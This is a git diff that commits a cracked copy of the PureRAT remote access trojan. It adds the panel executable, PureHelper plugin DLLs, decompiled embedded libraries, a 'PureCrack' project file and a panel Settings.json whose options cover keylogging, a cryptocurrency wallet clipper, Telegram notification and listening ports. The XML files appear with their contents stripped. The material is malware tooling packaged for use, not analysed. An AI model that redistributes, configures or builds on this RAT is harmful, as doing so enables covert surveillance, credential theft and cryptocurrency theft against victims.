decompiled/costura.zh-hans.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.zh-hant.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/purerat decompiled/costura.zh-hant.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..d0e3cf8 Binary files /dev/null and b/decompiled/purerat decompiled/costura.zh-hant.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/costura.zh-hant.microsoft.codeanalysis.resources.dll.compressed b/decompiled/purerat decompiled/costura.zh-hant.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..728c41e Binary files /dev/null and b/decompiled/purerat decompiled/costura.zh-hant.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/purerat decompiled/decompile me.csproj b/decompiled/purerat decompiled/decompile me.csproj new file mode 100644 index 0000000..3a8f38a --- /dev/null +++ b/decompiled/purerat decompiled/decompile me.csproj @@ -0,0 +1,192 @@ + + + PureCrack + False + Exe + net472 + x64 + + + 14.0 + True + False + + + app.manifest + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Core.dll + + + + + + + \ No newline at end of file diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.costura.dll b/decompiled/purerat decompiled/extracted_dlls/costura.costura.dll new file mode 100644 index 0000000..dbb5b65 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.costura.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.costura.pdb b/decompiled/purerat decompiled/extracted_dlls/costura.costura.pdb new file mode 100644 index 0000000..2004151 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.costura.pdb differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.cs.microsoft.codeanalysis.csharp.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.cs.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..a8b4ff9 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.cs.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.cs.microsoft.codeanalysis.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.cs.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..413bbfe Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.cs.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.de.microsoft.codeanalysis.csharp.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.de.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..5b06573 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.de.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.de.microsoft.codeanalysis.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.de.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..37b0f5b Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.de.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.es.microsoft.codeanalysis.csharp.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.es.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..adb4f3b Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.es.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.es.microsoft.codeanalysis.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.es.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..de746a8 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.es.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.fr.microsoft.codeanalysis.csharp.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.fr.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..25ca860 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.fr.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.fr.microsoft.codeanalysis.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.fr.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..42d6996 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.fr.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.it.microsoft.codeanalysis.csharp.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.it.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..028060a Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.it.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.it.microsoft.codeanalysis.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.it.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..c47060b Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.it.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.ja.microsoft.codeanalysis.csharp.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.ja.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..f1f9a30 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.ja.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.ja.microsoft.codeanalysis.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.ja.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..3709fbd Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.ja.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.ko.microsoft.codeanalysis.csharp.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.ko.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..52b5a5c Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.ko.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.ko.microsoft.codeanalysis.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.ko.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..5e0a4be Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.ko.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.microsoft.bcl.asyncinterfaces.dll b/decompiled/purerat decompiled/extracted_dlls/costura.microsoft.bcl.asyncinterfaces.dll new file mode 100644 index 0000000..6031ba1 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.microsoft.bcl.asyncinterfaces.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.microsoft.codeanalysis.csharp.dll b/decompiled/purerat decompiled/extracted_dlls/costura.microsoft.codeanalysis.csharp.dll new file mode 100644 index 0000000..7320422 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.microsoft.codeanalysis.csharp.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.microsoft.codeanalysis.csharp.pdb b/decompiled/purerat decompiled/extracted_dlls/costura.microsoft.codeanalysis.csharp.pdb new file mode 100644 index 0000000..4344077 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.microsoft.codeanalysis.csharp.pdb differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.microsoft.codeanalysis.dll b/decompiled/purerat decompiled/extracted_dlls/costura.microsoft.codeanalysis.dll new file mode 100644 index 0000000..fb8b3ec Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.microsoft.codeanalysis.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.microsoft.codeanalysis.pdb b/decompiled/purerat decompiled/extracted_dlls/costura.microsoft.codeanalysis.pdb new file mode 100644 index 0000000..2d65b49 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.microsoft.codeanalysis.pdb differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.pl.microsoft.codeanalysis.csharp.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.pl.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..bd640e0 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.pl.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.pl.microsoft.codeanalysis.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.pl.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..6163afa Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.pl.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.pt-br.microsoft.codeanalysis.csharp.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.pt-br.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..9553c4f Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.pt-br.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.pt-br.microsoft.codeanalysis.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.pt-br.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..13692ef Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.pt-br.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.ru.microsoft.codeanalysis.csharp.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.ru.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..7947cd5 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.ru.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.ru.microsoft.codeanalysis.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.ru.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..d7c0ff3 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.ru.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.system.buffers.dll b/decompiled/purerat decompiled/extracted_dlls/costura.system.buffers.dll new file mode 100644 index 0000000..f2d83c5 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.system.buffers.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.system.collections.immutable.dll b/decompiled/purerat decompiled/extracted_dlls/costura.system.collections.immutable.dll new file mode 100644 index 0000000..7a5b655 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.system.collections.immutable.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.system.diagnostics.diagnosticsource.dll b/decompiled/purerat decompiled/extracted_dlls/costura.system.diagnostics.diagnosticsource.dll new file mode 100644 index 0000000..eafb192 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.system.diagnostics.diagnosticsource.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.system.memory.dll b/decompiled/purerat decompiled/extracted_dlls/costura.system.memory.dll new file mode 100644 index 0000000..4617199 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.system.memory.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.system.numerics.vectors.dll b/decompiled/purerat decompiled/extracted_dlls/costura.system.numerics.vectors.dll new file mode 100644 index 0000000..0865972 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.system.numerics.vectors.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.system.reflection.metadata.dll b/decompiled/purerat decompiled/extracted_dlls/costura.system.reflection.metadata.dll new file mode 100644 index 0000000..2a672fb Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.system.reflection.metadata.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.system.runtime.compilerservices.unsafe.dll b/decompiled/purerat decompiled/extracted_dlls/costura.system.runtime.compilerservices.unsafe.dll new file mode 100644 index 0000000..c5ba4e4 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.system.runtime.compilerservices.unsafe.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.system.text.encoding.codepages.dll b/decompiled/purerat decompiled/extracted_dlls/costura.system.text.encoding.codepages.dll new file mode 100644 index 0000000..ec5e68b Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.system.text.encoding.codepages.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.system.text.encodings.web.dll b/decompiled/purerat decompiled/extracted_dlls/costura.system.text.encodings.web.dll new file mode 100644 index 0000000..3d16c7e Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.system.text.encodings.web.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.system.text.json.dll b/decompiled/purerat decompiled/extracted_dlls/costura.system.text.json.dll new file mode 100644 index 0000000..e8bee3a Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.system.text.json.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.system.threading.tasks.extensions.dll b/decompiled/purerat decompiled/extracted_dlls/costura.system.threading.tasks.extensions.dll new file mode 100644 index 0000000..eeec928 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.system.threading.tasks.extensions.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.system.valuetuple.dll b/decompiled/purerat decompiled/extracted_dlls/costura.system.valuetuple.dll new file mode 100644 index 0000000..4ce28fd Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.system.valuetuple.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.tr.microsoft.codeanalysis.csharp.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.tr.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..4e73a31 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.tr.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.tr.microsoft.codeanalysis.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.tr.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..5ba39cd Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.tr.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.zh-hans.microsoft.codeanalysis.csharp.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.zh-hans.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..f8c51f9 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.zh-hans.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.zh-hans.microsoft.codeanalysis.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.zh-hans.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..6a3164b Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.zh-hans.microsoft.codeanalysis.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.zh-hant.microsoft.codeanalysis.csharp.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.zh-hant.microsoft.codeanalysis.csharp.resources.dll new file mode 100644 index 0000000..e7e0ef8 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.zh-hant.microsoft.codeanalysis.csharp.resources.dll differ diff --git a/decompiled/purerat decompiled/extracted_dlls/costura.zh-hant.microsoft.codeanalysis.resources.dll b/decompiled/purerat decompiled/extracted_dlls/costura.zh-hant.microsoft.codeanalysis.resources.dll new file mode 100644 index 0000000..70b18c8 Binary files /dev/null and b/decompiled/purerat decompiled/extracted_dlls/costura.zh-hant.microsoft.codeanalysis.resources.dll differ diff --git a/panel/.DS_Store b/panel/.DS_Store new file mode 100644 index 0000000..d2b58f2 Binary files /dev/null and b/panel/.DS_Store differ diff --git a/panel/Plugins/PureHelper.Client.dll b/panel/Plugins/PureHelper.Client.dll new file mode 100644 index 0000000..e27e488 Binary files /dev/null and b/panel/Plugins/PureHelper.Client.dll differ diff --git a/panel/Plugins/PureHelper.dll b/panel/Plugins/PureHelper.dll new file mode 100644 index 0000000..6182b33 Binary files /dev/null and b/panel/Plugins/PureHelper.dll differ diff --git a/panel/PureRAT.exe b/panel/PureRAT.exe new file mode 100644 index 0000000..edde3d6 Binary files /dev/null and b/panel/PureRAT.exe differ diff --git a/panel/PureRAT.exe.config b/panel/PureRAT.exe.config new file mode 100644 index 0000000..49ca037 --- /dev/null +++ b/panel/PureRAT.exe.config @@ -0,0 +1,85 @@ + + + + +
+ + +
+ + + + + + System + + + + + + Skin/The Bezier + + + Office Black + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + The Bezier + + + Office Black + + + False + + + + \ No newline at end of file diff --git a/panel/data.pak b/panel/data.pak new file mode 100644 index 0000000..83d8700 Binary files /dev/null and b/panel/data.pak differ diff --git a/panel/data/GeoIP.mmdb b/panel/data/GeoIP.mmdb new file mode 100644 index 0000000..7a74aaa Binary files /dev/null and b/panel/data/GeoIP.mmdb differ diff --git a/panel/data/Settings.json b/panel/data/Settings.json new file mode 100644 index 0000000..d48b302 --- /dev/null +++ b/panel/data/Settings.json @@ -0,0 +1,34 @@ +{ + "SerialKey": "uiohy", + "Ports": [ + 56001, + 56002, + 56003 + ], + "IPs": [], + "Notes": {}, + "NotificationOnConnect": false, + "NotificationOnDisconnect": false, + "NotificationPlaySound": false, + "MinimizeToTray": false, + "CloseToTray": false, + "OpenOutputFolder": false, + "Language": null, + "TelegramToken": null, + "TelegramChatId": null, + "WindowsNames": [], + "TelegramEnabled": false, + "ClipperWallets": {}, + "OfflineKeylogger": false, + "ShowScreenshot": false, + "AutoClipper": false, + "AutoWindowNotify": false, + "RelayServers": [], + "Mutex": null, + "CustomPlugins": [ + { + "Name": "PureHelper", + "FilePath": "C:\\Users\\Mes\\Documents\\Release\\panel\\Plugins\\PureHelper.dll" + } + ] +} \ No newline at end of file diff --git a/purerat cracked.exe b/purerat cracked.exe new file mode 100644 index 0000000..72c00a3 Binary files /dev/null and b/purerat cracked.exe differ